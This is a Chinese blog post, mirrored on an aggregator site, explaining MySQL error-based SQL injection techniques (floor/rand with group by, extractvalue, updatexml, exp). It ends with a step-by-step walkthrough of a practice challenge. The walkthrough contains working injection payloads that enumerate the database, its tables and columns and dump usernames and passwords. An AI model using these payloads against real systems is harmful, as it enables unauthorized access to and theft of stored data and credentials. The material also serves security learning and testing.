zoukankan      html  css  js  c++  java
  • 基于报错型的注入

    一、floor() 、rand()、和 group by 组合:

    select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x

    通过floor报错的方法来爆数据的本质是group by语句的报错。group by语句报错的原因是floor(random(0)*2)的不确定性,即可能为0也可能为1(group by key的原理是循环读取数据的每一行,将结果保存于临时表中。读取每一行的key时,如果key存在于临时表中,则不在临时表中则更新临时表中的数据;如果该key不存在于临时表中,则在临时表中插入key所在行的数据。group by floor(random(0)*2)出错的原因是key是个随机数,检测临时表中key是否存在时计算了一下floor(random(0)*2)可能为0,如果此时临时表只有key为1的行不存在key为0的行,那么数据库要将该条记录插入临时表,由于是随机数,插时又要计算一下随机值,此时floor(random(0)*2)结果可能为1,就会导致插入时冲突而报错。即检测时和插入时两次计算了随机数的值

    参考:http://www.jinglingshu.org/?p=4507

    二、updatexml() 、extractvalue():

    SELECT * FROM `aaa` where id = 1 and extractvalue('e',concat(1,(SELECT user())));

    SELECT * FROM `aaa` where id = 1 and updatexml('e',concat(1,(SELECT user())),1);

     三、exp():

    当参数大于709时候会报错,如下:

    但是在 mysql 5.7.14中报错不会泄露信息了。

     参考:http://bobao.360.cn/learning/detail/607.html

    四、GeometryCollection()

    五、polygon()

    六、multipoint()

    七、multilinestring()

    八、multipolygon()

    九、linestring()

    实例分析:

    本题目为手工注入学习题目,主要用于练习基于Mysql报错的手工注入。Sqlmap一定能跑出来,所以不必测试了。flag中不带key和#
    该题目需要在题目平台登录

    使用函数extractvalue()进行注入。

    1、 测试是否是报错型注入。

    exp:admin' and extractvalue(1,concat(1,(select user()))) %23

    返回页面:

     

        确实是报错型注入。

    2、 爆库名

    exp:admin' and extractvalue(1,concat(1,(select database()))) %23

    返回页面:

     

    得知当前库名:mydbs

    3、 爆mydbs库的所有表

    exp:admin' and extractvalue(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='mydbs'))) %23

    返回页面:

     

    mydbs库中的表是:log、motto、user这三个。

    4、 爆user表的字段:

    exp:admin' and extractvalue(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_name='user'))) %23

    返回页面:

     

    得知user表的字段为id、username、password

    5、 爆user表中的记录

    exp:admin' and extractvalue(1,concat(1,(select group_concat(id,'_',username,'_',password) from user))) %23

    返回页面

     

    运气不好没找到flag

    6、 在motto表中找,重复步骤4,5,在表motto中的motto中找到flag

    exp:admin' and extractvalue(1,concat(1,(select concat(motto) from motto limit 3,1))) %23

    返回页面:

     

  • 相关阅读:
    kindeditor扩展粘贴截图功能&修改图片上传路径并通过webapi上传图片到图片服务器
    解决VS2015 VBCSCompiler.exe 占用CPU100%的问题
    电商网站商品模型之商品详情页设计方案
    大三那年在某宝8块钱买的.NET视频决定了我的职业生涯
    单点登录改进版-使用ajax分发cookie避免重定向轮询
    可跨域的单点登录(SSO)实现方案【附.net代码】
    使用ANTS Performance Profiler&ANTS Memory Profiler工具分析IIS进程内存和CPU占用过高问题
    js封装的三级联动菜单(使用时只需要一行js代码)
    EF查询之性能优化技巧
    EF使用CodeFirst方式生成数据库&技巧经验
  • 原文地址:https://www.cnblogs.com/natian-ws/p/7204806.html
Copyright © 2011-2022 走看看